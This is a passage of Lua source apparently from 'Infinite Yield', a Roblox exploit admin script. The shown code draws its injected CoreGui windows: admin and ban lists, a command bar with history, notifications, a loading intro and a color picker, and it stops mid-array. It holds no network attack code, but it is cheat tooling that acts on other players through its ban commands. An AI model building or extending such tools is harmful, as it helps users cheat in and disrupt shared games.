Exit.Size = UDim2.new(0, 20, 0, 20) Exit.FontSize = Enum.FontSize.Size14 Exit.Text = "" ContainerFrame.Name = "ContainerFrame" ContainerFrame.Parent = PromptDialog ContainerFrame.BackgroundColor3 = maincolor ContainerFrame.BackgroundTransparency = 0.5 ContainerFrame.BorderColor3 = Color3.new(0, 0, 0) ContainerFrame.BorderSizePixel = 0 ContainerFrame.Position = UDim2.new(0, 10, 0, 29) ContainerFrame.Size = UDim2.new(0.935483873, 0, 0.806666672, 0) ContainerFrame.ZIndex = 5 PList.Name = "List" PList.Parent = ContainerFrame PList.BackgroundColor3 = Color3.new(0.0666667, 0.0666667, 0.0666667) PList.BackgroundTransparency = 1 PList.BorderColor3 = Color3.new(0.0666667, 0.0666667, 0.0666667) PList.BorderSizePixel = 0 PList.Position = UDim2.new(0, 10, 0, 5) PList.Size = UDim2.new(0, 280, 0, 230) PList.ZIndex = 6 PList.BottomImage = "rbxasset://textures/blackBkg_square.png" PList.CanvasSize = UDim2.new(0, 0, 0, 10) PList.MidImage = "rbxasset://textures/blackBkg_square.png" PList.ScrollBarThickness = 8 PList.TopImage = "rbxasset://textures/blackBkg_square.png" updatepositions() drag:TweenPosition(UDim2.new(0.5, -150, 0, 100), "InOut", "Quart", 0.5, true, nil) Exit.MouseButton1Click:Connect(function() drag:TweenPosition(UDim2.new(0.5, -150, 0, -400), "InOut", "Quart", 0.5, true, nil) wait(0.6) posopen = false Pos:Destroy() end) end end) function updateadmins() if AList then AList:ClearAllChildren() AList.CanvasSize = UDim2.new(0, 0, 0, 10) for i = 1, #adminname do local YSize = 25 local Position = ((i * YSize) - YSize) local newcmd = Example:Clone() newcmd.Parent = AList newcmd.Visible = true newcmd.Position = UDim2.new(0,5,0, Position + 5) newcmd.Text = adminname[i].NAME AList.CanvasSize = UDim2.new(0,0,0, Position + 30) end end end adminsopen = false adminname = {} addcmd('admins','displays admins',{'adminlist'}, function(args, speaker) if speaker.userId ~= LP.userId then lponly(speaker) else if adminsopen == false then adminsopen = true local admins = Instance.new("ScreenGui") local drag = Instance.new("Frame") local PromptDialog = Instance.new("Frame") local shadow = Instance.new("Frame") local PopupText = Instance.new("TextLabel") local Exit = Instance.new("TextButton") local ContainerFrame = Instance.new("Frame") AList = Instance.new("ScrollingFrame") admins.Name = "Admins" admins.Parent = game.CoreGui drag.Name = "drag" drag.Parent = admins drag.Active = true drag.BackgroundColor3 = Color3.new(1, 1, 1) drag.BackgroundTransparency = 1 drag.Draggable = true drag.Position = UDim2.new(0.5, -150, 0, -400) drag.Size = UDim2.new(0, 290, 0, 30) PromptDialog.Name = "PromptDialog" PromptDialog.Parent = drag PromptDialog.BackgroundColor3 = Color3.new(0, 0, 0) PromptDialog.BackgroundTransparency = 1 PromptDialog.BorderSizePixel = 0 PromptDialog.Position = UDim2.new(0, -10, 0, 0) PromptDialog.Size = UDim2.new(0, 310, 0, 300) PromptDialog.ZIndex = 8 shadow.Name = "shadow" shadow.Parent = PromptDialog shadow.BackgroundColor3 = maincolor shadow.BackgroundTransparency = 0.30000001192093 shadow.BorderColor3 = Color3.new(0, 0, 0) shadow.BorderSizePixel = 0 shadow.Position = UDim2.new(0.0322580636, 0, 0.00999999978, 0) shadow.Size = UDim2.new(0, 290, 0, 26) PopupText.Name = "PopupText" PopupText.Parent = shadow PopupText.BackgroundTransparency = 1 PopupText.Position = UDim2.new(0, 8, 0, -3) PopupText.Size = UDim2.new(1, -16, 0.538461566, 0) PopupText.ZIndex = 110 PopupText.Font = Enum.Font.SourceSansBold PopupText.FontSize = Enum.FontSize.Size28 PopupText.Text = "Admins" PopupText.TextColor3 = Color3.new(0.97, 0.97, 0.97) PopupText.TextStrokeTransparency = 0 PopupText.TextWrapped = true PopupText.TextYAlignment = Enum.TextYAlignment.Top Exit.Name = "Exit" Exit.Parent = shadow Exit.BackgroundColor3 = Color3.new(1, 0, 0) Exit.BackgroundTransparency = 0.30000001192093 Exit.BorderColor3 = Color3.new(1, 0, 0) Exit.BorderSizePixel = 0 Exit.Position = UDim2.new(0, 267, 0, 3) Exit.Size = UDim2.new(0, 20, 0, 20) Exit.FontSize = Enum.FontSize.Size14 Exit.Text = "" ContainerFrame.Name = "ContainerFrame" ContainerFrame.Parent = PromptDialog ContainerFrame.BackgroundColor3 = maincolor ContainerFrame.BackgroundTransparency = 0.5 ContainerFrame.BorderColor3 = Color3.new(0, 0, 0) ContainerFrame.BorderSizePixel = 0 ContainerFrame.Position = UDim2.new(0, 10, 0, 29) ContainerFrame.Size = UDim2.new(0.935483873, 0, 0.806666672, 0) ContainerFrame.ZIndex = 5 AList.Name = "List" AList.Parent = ContainerFrame AList.BackgroundColor3 = Color3.new(0.0666667, 0.0666667, 0.0666667) AList.BackgroundTransparency = 1 AList.BorderColor3 = Color3.new(0.0666667, 0.0666667, 0.0666667) AList.BorderSizePixel = 0 AList.Position = UDim2.new(0, 10, 0, 5) AList.Size = UDim2.new(0, 280, 0, 230) AList.ZIndex = 6 AList.BottomImage = "rbxasset://textures/blackBkg_square.png" AList.CanvasSize = UDim2.new(0, 0, 0, 10) AList.MidImage = "rbxasset://textures/blackBkg_square.png" AList.ScrollBarThickness = 8 AList.TopImage = "rbxasset://textures/blackBkg_square.png" updateadmins() drag:TweenPosition(UDim2.new(0.5, -150, 0, 100), "InOut", "Quart", 0.5, true, nil) Exit.MouseButton1Click:Connect(function() drag:TweenPosition(UDim2.new(0.5, -150, 0, -400), "InOut", "Quart", 0.5, true, nil) wait(0.6) adminsopen = false admins:Destroy() end) end end end) function updatebans() if BList then BList:ClearAllChildren() BList.CanvasSize = UDim2.new(0, 0, 0, 10) for i = 1, #banname do local YSize = 25 local Position = ((i * YSize) - YSize) local newcmd = Example:Clone() newcmd.Parent = BList newcmd.Visible = true newcmd.Position = UDim2.new(0,5,0, Position + 5) newcmd.Text = " Name: " .. banname[i].NAME .. " | ID: " .. banname[i].ID .. " | Age: " .. banname[i].AGE newcmd.TextSize = 20 BList.CanvasSize = UDim2.new(0,0,0, Position + 30) local delet = Instance.new("TextButton") delet.Name = "delet" delet.Parent = BList delet.BackgroundColor3 = Color3.new(1, 0, 0) delet.BackgroundTransparency = 0.30000001192093 delet.BorderColor3 = Color3.new(1, 0, 0) delet.BorderSizePixel = 0 delet.Position = UDim2.new(0,-10,0, Position + 5) delet.Size = UDim2.new(0, 20, 0, 20) delet.FontSize = Enum.FontSize.Size14 delet.Text = "" delet.ZIndex = 6 delet.MouseButton1Click:Connect(function() updatebans() execCmd("unban "..banname[i].NAME) end) end end end banname = {} bansopen = false addcmd('bans','displays bans',{'banlist'}, function(args, speaker) if speaker.userId ~= LP.userId then lponly(speaker) else if bansopen == false then bansopen = true local Bans = Instance.new("ScreenGui") local drag = Instance.new("Frame") local PromptDialog = Instance.new("Frame") local ContainerFrame = Instance.new("Frame") BList = Instance.new("ScrollingFrame") local shadow = Instance.new("Frame") local Exit = Instance.new("TextButton") local PopupText = Instance.new("TextLabel") Bans.Name = "Bans" Bans.Parent = game.CoreGui drag.Name = "drag" drag.Parent = Bans drag.Active = true drag.BackgroundColor3 = Color3.new(1, 1, 1) drag.BackgroundTransparency = 1 drag.Draggable = true drag.Position = UDim2.new(0.5, -225, 0, -400) drag.Size = UDim2.new(0, 438, 0, 26) PromptDialog.Name = "PromptDialog" PromptDialog.Parent = drag PromptDialog.BackgroundColor3 = Color3.new(0, 0, 0) PromptDialog.BackgroundTransparency = 1 PromptDialog.BorderSizePixel = 0 PromptDialog.Position = UDim2.new(0, 0, 0, -2) PromptDialog.Size = UDim2.new(0, 438, 0, 300) PromptDialog.ZIndex = 5 ContainerFrame.Name = "ContainerFrame" ContainerFrame.Parent = PromptDialog ContainerFrame.BackgroundColor3 = maincolor ContainerFrame.BackgroundTransparency = 0.5 ContainerFrame.BorderColor3 = Color3.new(0, 0, 0) ContainerFrame.BorderSizePixel = 0 ContainerFrame.Position = UDim2.new(0, 0, 0, 29) ContainerFrame.Size = UDim2.new(1, 0, 0.829999983, 0) ContainerFrame.ZIndex = 5 BList.Name = "List" BList.Parent = ContainerFrame BList.BackgroundColor3 = Color3.new(0.0666667, 0.0666667, 0.0666667) BList.BackgroundTransparency = 1 BList.BorderColor3 = Color3.new(0.0666667, 0.0666667, 0.0666667) BList.BorderSizePixel = 0 BList.Position = UDim2.new(0, 10, 0, 9) BList.Size = UDim2.new(0, 428, 0, 230) BList.ZIndex = 5 BList.BottomImage = "rbxasset://textures/blackBkg_square.png" BList.CanvasSize = UDim2.new(0, 0, 0, 10) BList.MidImage = "rbxasset://textures/blackBkg_square.png" BList.ScrollBarThickness = 8 BList.TopImage = "rbxasset://textures/blackBkg_square.png" shadow.Name = "shadow" shadow.Parent = PromptDialog shadow.BackgroundColor3 = maincolor shadow.BackgroundTransparency = 0.30000001192093 shadow.BorderColor3 = Color3.new(0, 0, 0) shadow.BorderSizePixel = 0 shadow.Position = UDim2.new(0, 0, 0.00999999978, 0) shadow.Size = UDim2.new(0, 438, 0, 26) Exit.Name = "Exit" Exit.Parent = shadow Exit.BackgroundColor3 = Color3.new(1, 0, 0) Exit.BackgroundTransparency = 0.30000001192093 Exit.BorderColor3 = Color3.new(1, 0, 0) Exit.BorderSizePixel = 0 Exit.Position = UDim2.new(0, 415, 0, 3) Exit.Size = UDim2.new(0, 20, 0, 20) Exit.FontSize = Enum.FontSize.Size14 Exit.Text = "" PopupText.Name = "PopupText" PopupText.Parent = shadow PopupText.BackgroundTransparency = 1 PopupText.Position = UDim2.new(0, 61, 0, -4) PopupText.Size = UDim2.new(0.760273993, -16, 1.15384614, 0) PopupText.ZIndex = 6 PopupText.Font = Enum.Font.SourceSansBold PopupText.FontSize = Enum.FontSize.Size32 PopupText.Text = "Bans" PopupText.TextColor3 = Color3.new(0.97, 0.97, 0.97) PopupText.TextStrokeTransparency = 0 PopupText.TextWrapped = true PopupText.TextYAlignment = Enum.TextYAlignment.Top updatebans() drag:TweenPosition(UDim2.new(0.5, -225, 0, 100), "InOut", "Quart", 0.5, true, nil) Exit.MouseButton1Click:Connect(function() drag:TweenPosition(UDim2.new(0.5, -225, 0, -400), "InOut", "Quart", 0.5, true, nil) wait(0.6) bansopen = false Bans:Destroy() end) end end end) addcmd('cmds','opens cmds window',{'commands'}, function(args, speaker) if speaker.userId ~= LP.userId then for _, child in pairs( workspace:GetChildren()) do if child.Name == speaker.Name .. "TAB" then child:Destroy() end end game:GetService('Chat'):Chat(speaker.Character, 'The command to close is "'.. cmdprefix .. 'dismiss"', 1) local GUI = Instance.new("SurfaceGui") local holder = Instance.new("Frame") local bar = Instance.new("Frame") local Title = Instance.new("TextLabel") local MAIN = Instance.new("Frame") local Example = Instance.new("TextLabel") local CMDs = Instance.new("ScrollingFrame") local PART = Instance.new("Part") PART.Name = speaker.Name .. 'TAB' PART.Color = maincolor PART.Size = Vector3.new(7, 7.8, 0.2) PART.Transparency = 0 PART.Locked = true PART.CanCollide = false PART.Parent = workspace PART.Anchored = true PART.Material = "Neon" local GUI = Instance.new("SurfaceGui") local holder = Instance.new("Frame") local bar = Instance.new("Frame") local Title = Instance.new("TextLabel") local MAIN = Instance.new("Frame") local Example = Instance.new("TextLabel") local CMDs = Instance.new("ScrollingFrame") GUI.Name = "GUI" GUI.Parent = PART GUI.CanvasSize = Vector2.new(500, 600) GUI.Face = Enum.NormalId.Back holder.Name = "holder" holder.Parent = GUI holder.BackgroundColor3 = Color3.new(1, 1, 1) holder.BackgroundTransparency = 1 holder.BorderSizePixel = 2 holder.Position = UDim2.new(0, 0, 0, 10) holder.Size = UDim2.new(0, 300, 0, 330) holder.ZIndex = 2 bar.Name = "bar" bar.Parent = holder bar.BackgroundColor3 = Color3.new(0, 0, 0) bar.BackgroundTransparency = 0.89999997615814 bar.BorderSizePixel = 0 bar.Position = UDim2.new(0, 10, 1, -330) bar.Size = UDim2.new(0, 480, 0, 33) Title.Name = "Title" Title.Parent = bar Title.BackgroundColor3 = Color3.new(0.639216, 0.635294, 0.647059) Title.BackgroundTransparency = 1 Title.Size = UDim2.new(1, 0, 0, 30) Title.Font = Enum.Font.SourceSansBold Title.FontSize = Enum.FontSize.Size24 Title.Text = "[Infinite Yield] Command List" Title.TextColor3 = Color3.new(0.980392, 0.980392, 0.980392) MAIN.Name = "MAIN" MAIN.Parent = holder MAIN.BackgroundColor3 = Color3.new(0, 0, 0) MAIN.BackgroundTransparency = 0.89999997615814 MAIN.BorderSizePixel = 0 MAIN.Position = UDim2.new(0, 10, 1, -300) MAIN.Size = UDim2.new(0, 480, 0, 550) Example.Name = "Example" Example.Parent = MAIN Example.BackgroundColor3 = Color3.new(0.0666667, 0.0666667, 0.0666667) Example.BackgroundTransparency = 1 Example.BorderColor3 = Color3.new(0.0666667, 0.0666667, 0.0666667) Example.BorderSizePixel = 0 Example.Size = UDim2.new(0, 190, 0, 40) Example.Visible = false Example.Font = Enum.Font.SourceSansBold Example.FontSize = Enum.FontSize.Size36 Example.Text = "txt" Example.TextColor3 = Color3.new(0.972549, 0.972549, 0.972549) Example.TextStrokeTransparency = 0 Example.TextXAlignment = Enum.TextXAlignment.Left Example.ZIndex = 6 CMDs.Name = "CMDs" CMDs.Parent = MAIN CMDs.BackgroundColor3 = Color3.new(0.0666667, 0.0666667, 0.0666667) CMDs.BackgroundTransparency = 1 CMDs.BorderColor3 = Color3.new(0.0666667, 0.0666667, 0.0666667) CMDs.BorderSizePixel = 0 CMDs.Size = UDim2.new(0, 480, 0, 550) CMDs.BottomImage = "rbxasset://textures/blackBkg_square.png" CMDs.CanvasSize = UDim2.new(0, 0, 0, 4880) CMDs.MidImage = "rbxasset://textures/blackBkg_square.png" CMDs.ScrollBarThickness = 15 CMDs.TopImage = "rbxasset://textures/blackBkg_square.png" local CMDsV = CMDsFolder:GetChildren() for i = 1, #CMDsV do local YSize = 35 local Position = ((i * YSize) - YSize) local newcmd = Example:Clone() newcmd.Parent = CMDs newcmd.Visible = true newcmd.Position = UDim2.new(0,10,0, Position + 1) newcmd.Text = "" .. CMDsV[i].Value CMDs.CanvasSize = UDim2.new(0,0,0, Position + 40) end local cf = speaker.Character.HumanoidRootPart.CFrame local newcf = cf + cf.lookVector * 6 + Vector3.new(0, 1, 0) PART.CFrame = newcf speaker.Character.Humanoid.Died:connect(function() PART:Destroy() end) wait(1) PART.Transparency = 0.1 wait(0.05) PART.Transparency = 0.2 wait(0.05) PART.Transparency = 0.3 wait(0.05) PART.Transparency = 0.4 wait(0.05) PART.Transparency = 0.5 wait(0.05) PART.Transparency = 0.6 wait(0.05) if FindTable(hastab, speaker.Name) then movetab(speaker,PART) return end table.insert(hastab, speaker.Name) movetab(speaker,PART) else commands() wait(0.2) searchbar() end end) cmdBAR.FocusLost:connect(function(enterpressed) if enterpressed and cmdBAR.Text ~= "" then spawn(function () execCmd(cmdBAR.Text, Player) end) end game.CoreGui.sugg.suggestions:TweenSize(UDim2.new(0, 300, 0, 0),"Out","Quad",0.2,true) cmdBAR.BorderSizePixel = 1 wait(0.1) cmdBAR.BorderSizePixel = 0 cmdBAR.Text = 'Press ' ..cmdbarbind.. ' to focus the cmd bar' end) Mouse.KeyDown:connect(function(Key) if (Key==cmdbarbind) then cmdBAR:CaptureFocus() cmdBAR.BorderSizePixel = 1 wait(0.1) cmdBAR.BorderSizePixel = 2 end end) cmdBAR.Changed:connect(function (property) if suggestionstoggle == true and cmdBAR:IsFocused() then IndexContents2(cmdBAR.Text,true) end end) cmdBAR:GetPropertyChangedSignal("Text"):Connect(function() local diff = cmdBAR.TextBounds.X-250 cmdBAR:TweenSizeAndPosition(UDim2.new(0,250+math.floor(math.max(0,diff)),0,25),UDim2.new(0,10-math.floor(math.max(0,diff)),1,-35),Enum.EasingDirection.Out,Enum.EasingStyle.Quart,0.5,true) end) cmdBAR.Focused:Connect(function() historyCount = 0 end) game:GetService("UserInputService").InputBegan:Connect(function(input) if not cmdBAR:IsFocused() then return end if input.KeyCode == Enum.KeyCode.Up then historyCount = historyCount + 1 if historyCount > #cmdHistory then historyCount = #cmdHistory end cmdBAR.Text = cmdHistory[historyCount] or "" elseif input.KeyCode == Enum.KeyCode.Down then historyCount = historyCount - 1 if historyCount < 1 then historyCount = 1 end cmdBAR.Text = cmdHistory[historyCount] or "" end end) NOTIFY = DATA.Notification NOTIFY.Parent = game.CoreGui local usingNOTE = false function Notify(msg) spawn(function() if NOTIFY.NOTIFY and NOTIFY.NOTIFY.NOTE then NOTIFY.NOTIFY:TweenPosition(UDim2.new(0,0,0,-100), "InOut", "Quart", 0.5, true, nil) wait(0.5) MusicPlayer:Hide() if qopen == true then quickmenu.sheild.cmds:TweenPosition(UDim2.new(0, 50, 0, -50), "InOut", "Quart", 0.5, true, nil) wait(0.01) quickmenu.sheild.settings:TweenPosition(UDim2.new(0, 146, 0, -50), "InOut", "Quart", 0.5, true, nil) wait(0.01) quickmenu.sheild.updates:TweenPosition(UDim2.new(0, 220, 0, -50), "InOut", "Quart", 0.5, true, nil) wait(0.01) quickmenu.sheild.info:TweenPosition(UDim2.new(0, 290, 0, -50), "InOut", "Quart", 0.5, true, nil) wait(0.01) quickmenu.sheild.mix:TweenPosition(UDim2.new(0, 340, 0, -50), "InOut", "Quart", 0.5, true, nil) wait(0.01) qopen = false NOTIFY.NOTIFY.NOTE.Text = msg NOTIFY.NOTIFY:TweenPosition(UDim2.new(0, 0, 0, -38), "InOut", "Quart", 0.5, true, nil) if playerenabled == true then wait(4) if playerenabled == true then MusicPlayer:Show() NOTIFY.NOTIFY:TweenPosition(UDim2.new(0,0,0,-100), "InOut", "Quart", 0.5, true, nil) end end else NOTIFY.NOTIFY.NOTE.Text = msg NOTIFY.NOTIFY:TweenPosition(UDim2.new(0, 0, 0, -38), "InOut", "Quart", 0.5, true, nil) if playerenabled == true then wait(4) if playerenabled == true then MusicPlayer:Show() NOTIFY.NOTIFY:TweenPosition(UDim2.new(0,0,0,-100), "InOut", "Quart", 0.5, true, nil) end end end end end) end local loadbar = Instance.new("ScreenGui") local Loading = Instance.new("TextLabel") local fr = Instance.new("Frame") local ba = Instance.new("Frame") loadbar.Name = "loadbar" loadbar.Parent = game.CoreGui Loading.Name = "Loading" Loading.Parent = loadbar Loading.BackgroundColor3 = Color3.new(1, 1, 1) Loading.BackgroundTransparency = 1 Loading.Position = UDim2.new(0.25, 0, 0.875, 0) Loading.Size = UDim2.new(0.5, 0, 0, 50) Loading.ZIndex = 101 Loading.Font = Enum.Font.ArialBold Loading.FontSize = Enum.FontSize.Size24 Loading.Text = "Loading..." Loading.TextColor3 = Color3.new(0, 0, 0) Loading.TextStrokeColor3 = Color3.new(1, 1, 1) Loading.TextStrokeTransparency = 0.5 Loading.TextTransparency = 0.10000000149012 Loading.TextWrapped = true fr.Name = "fr" fr.Parent = Loading fr.BackgroundColor3 = Color3.new(0.196078, 0.196078, 0.196078) fr.BackgroundTransparency = 0.30000001192093 fr.BorderColor3 = Color3.new(0.196078, 0.196078, 0.196078) fr.BorderSizePixel = 2 fr.Size = UDim2.new(1, 0, 1, 0) ba.ZIndex = 100 fr.ZIndex = 99 ba.Name = "ba" ba.Parent = Loading ba.BackgroundColor3 = Color3.new(0.0980392, 0.0980392, 0.0980392) ba.BorderColor3 = Color3.new(0.0980392, 0.0980392, 0.0980392) ba.BorderSizePixel = 0 ba.Size = UDim2.new(0, 0, 1, 0) wait(0.1) Loading.ba:TweenSize(UDim2.new(0.3, 0, 1, 0), "InOut", "Quart", 1, true, nil) wait(0.2) commands() wait(0.01) game.CoreGui.cp:Destroy() cmdOpen = false local intro = Instance.new("ScreenGui") local Frame = Instance.new("Frame") local Circle = Instance.new("ImageLabel") local ImageLabel = Instance.new("ImageLabel") intro.Name = "intro" intro.Parent = game.CoreGui Frame.Parent = intro Frame.BackgroundColor3 = Color3.new(0.121569, 0.121569, 0.121569) Frame.BackgroundTransparency = 1 Frame.BorderSizePixel = 0 Frame.ClipsDescendants = true Frame.Position = UDim2.new(0.5, -125, 0.5, -125) Frame.Size = UDim2.new(0, 250, 0, 250) Circle.Name = "Circle" Circle.Parent = Frame Circle.BackgroundColor3 = Color3.new(0.243137, 0.243137, 0.243137) Circle.BackgroundTransparency = 1 Circle.BorderSizePixel = 0 Circle.Position = UDim2.new(0.5, 0, 0.5, 0) Circle.Image = "rbxassetid://631172870" Circle.ImageColor3 = Color3.new(0.121569, 0.121569, 0.121569) ImageLabel.Parent = Frame ImageLabel.BackgroundColor3 = Color3.new(1, 1, 1) ImageLabel.BackgroundTransparency = 1 ImageLabel.BorderSizePixel = 0 ImageLabel.Position = UDim2.new(0.5, 0, 0.5, 0) ImageLabel.Image = "rbxassetid://1352543873" Loading.ba:TweenSize(UDim2.new(0.45, 0, 1, 0), "InOut", "Quart", 0.5, true, nil) wait(0.2) local g = intro local f = Frame local imagef = Circle local logof = ImageLabel imagef:TweenSizeAndPosition(UDim2.new(3,0,3,0),UDim2.new(-1,0,-1,0), "Out", "Linear", 0.5) logof:TweenSizeAndPosition(UDim2.new(1,0,1,0),UDim2.new(0,0,0,0), "Out", "Linear", 0.5) repeat wait() until imagef.Size == UDim2.new(3,0,3,0) and logof.Size == UDim2.new(1,0,1,0) f:TweenSizeAndPosition(UDim2.new(0,300,0,300),UDim2.new(0.5,-150,0.5,-150), "In", "Quart", 0.5) repeat wait() until f.Size == UDim2.new(0,300,0,300) f:TweenSizeAndPosition(UDim2.new(0,250,0,250),UDim2.new(0.5,-125,0.5,-125), "Out", "Quart", 0.5) repeat wait() until f.Size == UDim2.new(0,250,0,250) if workspace.FilteringEnabled == true then Notify('Filtering ENABLED') elseif workspace.FilteringEnabled == false then Notify('Filtering Disabled') end local iy = Instance.new("ImageButton") local sheild = Instance.new("Frame") local cmds = Instance.new("ImageButton") local cmds_2 = Instance.new("TextLabel") local settings = Instance.new("ImageButton") local settings_2 = Instance.new("TextLabel") local updates = Instance.new("ImageButton") local updates_2 = Instance.new("TextLabel") local info = Instance.new("ImageButton") local info_2 = Instance.new("TextLabel") local mix = Instance.new("ImageButton") local mix_2 = Instance.new("TextLabel") local MAIN = Instance.new("TextLabel") iy.Name = "iy" iy.Parent = game.CoreGui.RobloxGui.TopBarContainer iy.BackgroundTransparency = 1 iy.Position = UDim2.new(0, 2, 0, -38) iy.Size = UDim2.new(0, 50, 0, 36) iy.AutoButtonColor = false sheild.Name = "sheild" sheild.Parent = iy sheild.BackgroundColor3 = Color3.new(1, 1, 1) sheild.BackgroundTransparency = 1 sheild.Size = UDim2.new(0, 320, 0, 35) cmds.Name = "cmds" cmds.Parent = sheild cmds.BackgroundTransparency = 1 cmds.Position = UDim2.new(0, 50, 0, 0) cmds.Size = UDim2.new(0, 80, 0, 36) cmds.AutoButtonColor = false cmds_2.Name = "cmds" cmds_2.Parent = cmds cmds_2.BackgroundColor3 = Color3.new(1, 1, 1) cmds_2.BackgroundTransparency = 1 cmds_2.Position = UDim2.new(0, 0, 0, -2) cmds_2.Size = UDim2.new(0, 80, 0, 40) cmds_2.Font = Enum.Font.Arial cmds_2.FontSize = Enum.FontSize.Size14 cmds_2.Text = "Commands" cmds_2.TextColor3 = Color3.new(1, 1, 1) cmds_2.TextStrokeTransparency = 0.69999998807907 settings.Name = "settings" settings.Parent = sheild settings.BackgroundTransparency = 1 settings.Position = UDim2.new(0, 146, 0, 0) settings.Size = UDim2.new(0, 60, 0, 36) settings.AutoButtonColor = false settings_2.Name = "settings" settings_2.Parent = settings settings_2.BackgroundColor3 = Color3.new(1, 1, 1) settings_2.BackgroundTransparency = 1 settings_2.Position = UDim2.new(0, 0, 0, -2) settings_2.Size = UDim2.new(0, 60, 0, 40) settings_2.Font = Enum.Font.Arial settings_2.FontSize = Enum.FontSize.Size14 settings_2.Text = "Script Hub" settings_2.TextColor3 = Color3.new(1, 1, 1) settings_2.TextStrokeTransparency = 0.69999998807907 updates.Name = "updates" updates.Parent = sheild updates.BackgroundTransparency = 1 updates.Position = UDim2.new(0, 220, 0, 0) updates.Size = UDim2.new(0, 60, 0, 36) updates.AutoButtonColor = false updates_2.Name = "updates" updates_2.Parent = updates updates_2.BackgroundColor3 = Color3.new(1, 1, 1) updates_2.BackgroundTransparency = 1 updates_2.Position = UDim2.new(0, 0, 0, -2) updates_2.Size = UDim2.new(0, 60, 0, 40) updates_2.Font = Enum.Font.Arial updates_2.FontSize = Enum.FontSize.Size14 updates_2.Text = "Server" updates_2.TextColor3 = Color3.new(1, 1, 1) updates_2.TextStrokeTransparency = 0.69999998807907 info.Name = "info" info.Parent = sheild info.BackgroundTransparency = 1 info.Position = UDim2.new(0, 290, 0, 0) info.Size = UDim2.new(0, 35, 0, 36) info.AutoButtonColor = false info_2.Name = "info" info_2.Parent = info info_2.BackgroundColor3 = Color3.new(1, 1, 1) info_2.BackgroundTransparency = 1 info_2.Position = UDim2.new(0, 0, 0, -2) info_2.Size = UDim2.new(0, 30, 0, 40) info_2.Font = Enum.Font.Arial info_2.FontSize = Enum.FontSize.Size14 info_2.Text = "Info" info_2.TextColor3 = Color3.new(1, 1, 1) mix.Name = "mix" mix.Parent = sheild mix.BackgroundTransparency = 1 mix.Position = UDim2.new(0, 340, 0, 0) mix.Size = UDim2.new(0, 35, 0, 36) mix.AutoButtonColor = false mix_2.Name = "mix" mix_2.Parent = mix mix_2.BackgroundColor3 = Color3.new(1, 1, 1) mix_2.BackgroundTransparency = 1 mix_2.Position = UDim2.new(0, 0, 0, -2) mix_2.Size = UDim2.new(0, 30, 0, 40) mix_2.Font = Enum.Font.Arial mix_2.FontSize = Enum.FontSize.Size14 mix_2.Text = "Color" mix_2.TextColor3 = Color3.new(1, 1, 1) mix_2.TextStrokeTransparency = 0.7 info_2.TextStrokeTransparency = 0.69999998807907 MAIN.Name = "MAIN" MAIN.Parent = iy MAIN.BackgroundColor3 = Color3.new(1, 1, 1) MAIN.BackgroundTransparency = 1 MAIN.Position = UDim2.new(0, 2, 0, -2) MAIN.Size = UDim2.new(0, 40, 0, 40) MAIN.Font = Enum.Font.ArialBold MAIN.FontSize = Enum.FontSize.Size24 MAIN.Text = "IY" MAIN.TextColor3 = Color3.new(1, 1, 1) MAIN.TextStrokeTransparency = 0.69999998807907 Loading.ba:TweenSize(UDim2.new(0.7, 0, 1, 0), "InOut", "Quart", 0.5, true, nil) wait(0.2) wait(0.3) quickmenu = game.CoreGui.RobloxGui.TopBarContainer.iy local TopBarContainer = Instance.new("Frame") TopBarContainer.Name = "TopBarContainer" TopBarContainer.Parent = game.CoreGui.RobloxGui TopBarContainer.Active = true TopBarContainer.BackgroundColor3 = Color3.new(0.121569, 0.121569, 0.121569) TopBarContainer.BackgroundTransparency = 0.5 TopBarContainer.BorderSizePixel = 0 TopBarContainer.Position = UDim2.new(0, 0, 0, -72) TopBarContainer.Size = UDim2.new(1, 0, 0, 36) TopBarContainer.ZIndex = 0 picker = game:GetObjects("rbxassetid://01333392047")[1] picker.Parent = game.CoreGui picker.ColorPicker.Visible = false picker.ColorPicker.Position = UDim2.new(0.5, -219, 0, -500) quickmenu.sheild.mix.MouseButton1Click:connect(function() picker.ColorPicker.Visible = true wait(0.2) picker.ColorPicker:TweenPosition(UDim2.new(0.5, -219, 0, 100), "InOut", "Quart", 0.5, true, nil) end) PKR = picker.ColorPicker local ColorPicker do ColorPicker = {} ColorPicker.new = function() local newMt = setmetatable({},{}) local pickerGui = picker.ColorPicker local pickerTopBar = pickerGui.TopBar local pickerFrame = pickerGui.Content local colorSpace = pickerFrame.ColorSpaceFrame.ColorSpace local colorStrip = pickerFrame.ColorStrip local previewFrame = pickerFrame.Preview local basicColorsFrame = pickerFrame.BasicColors local customColorsFrame = pickerFrame.CustomColors local okButton = pickerFrame.Ok local cancelButton = pickerFrame.Cancel local defaultButton = pickerFrame.Default local colorScope = colorSpace.Scope local colorArrow = pickerFrame.ArrowFrame.Arrow local hueInput = pickerFrame.Hue.Input local satInput = pickerFrame.Sat.Input local valInput = pickerFrame.Val.Input local redInput = pickerFrame.Red.Input local greenInput = pickerFrame.Green.Input local blueInput = pickerFrame.Blue.Input local user = game:GetService("UserInputService") local mouse = game:GetService("Players").LocalPlayer:GetMouse() local hue,sat,val = 0,0,1 local red,green,blue = 1,1,1 local chosenColor = Color3.new(0,0,0) local basicColors = {Color3.new(0,0,0),Color3.new(0.66666668653488,0,0),Color3.new(0,0.33333334326744,0),Color3.new(0.66666668653488,0.33333334326744,0),Color3.new(0,0.66666668653488,0),Color3.new(0.66666668653488,0.66666668653488,0),Color3.new(0,1,0),Color3.new(0.66666668653488,1,0),Color3.new(0,0,0.49803924560547),Color3.new(0.66666668653488,0,0.49803924560547),Color3.new(0,0.33333334326744,0.49803924560547),Color3.new(0.66666668653488,0.33333334326744,0.49803924560547),Color3.new(0,0.66666668653488,0.49803924560547),Color3.new(0.66666668653488,0.66666668653488,0.49803924560547),Color3.new(0,1,0.49803924560547),Color3.new(0.66666668653488,1,0.49803924560547),Color3.new(0,0,1),Color3.new(0.66666668653488,0,1),Color3.new(0,0.33333334326744,1),Color3.new(0.66666668653488,0.33333334326744,1),Color3.new(0,0.66666668653488,1),Color3.new(0.66666668653488,0.66666668653488,1),Color3.new(0,1,1),Color3.new(0.66666668653488,1,1),Color3.new(0.33333334326744,0,0),Color3.new(1,0,0),Color3.new(0.33333334326744,0.33333334326744,0),Color3.new(1,0.33333334326744,0),Color3.new(0.33333334326744,0.66666668653488,0),Color3.new(1,0.66666668653488,0),Color3.new(0.33333334326744,1,0),Color3.new(1,1,0),Color3.new(0.33333334326744,0,0.49803924560547),Color3.new(1,0,0.49803924560547),Color3.new(0.33333334326744,0.33333334326744,0.49803924560547),Color3.new(1,0.33333334326744,0.49803924560547),Color3.new(0.33333334326744,0.66666668653488,0.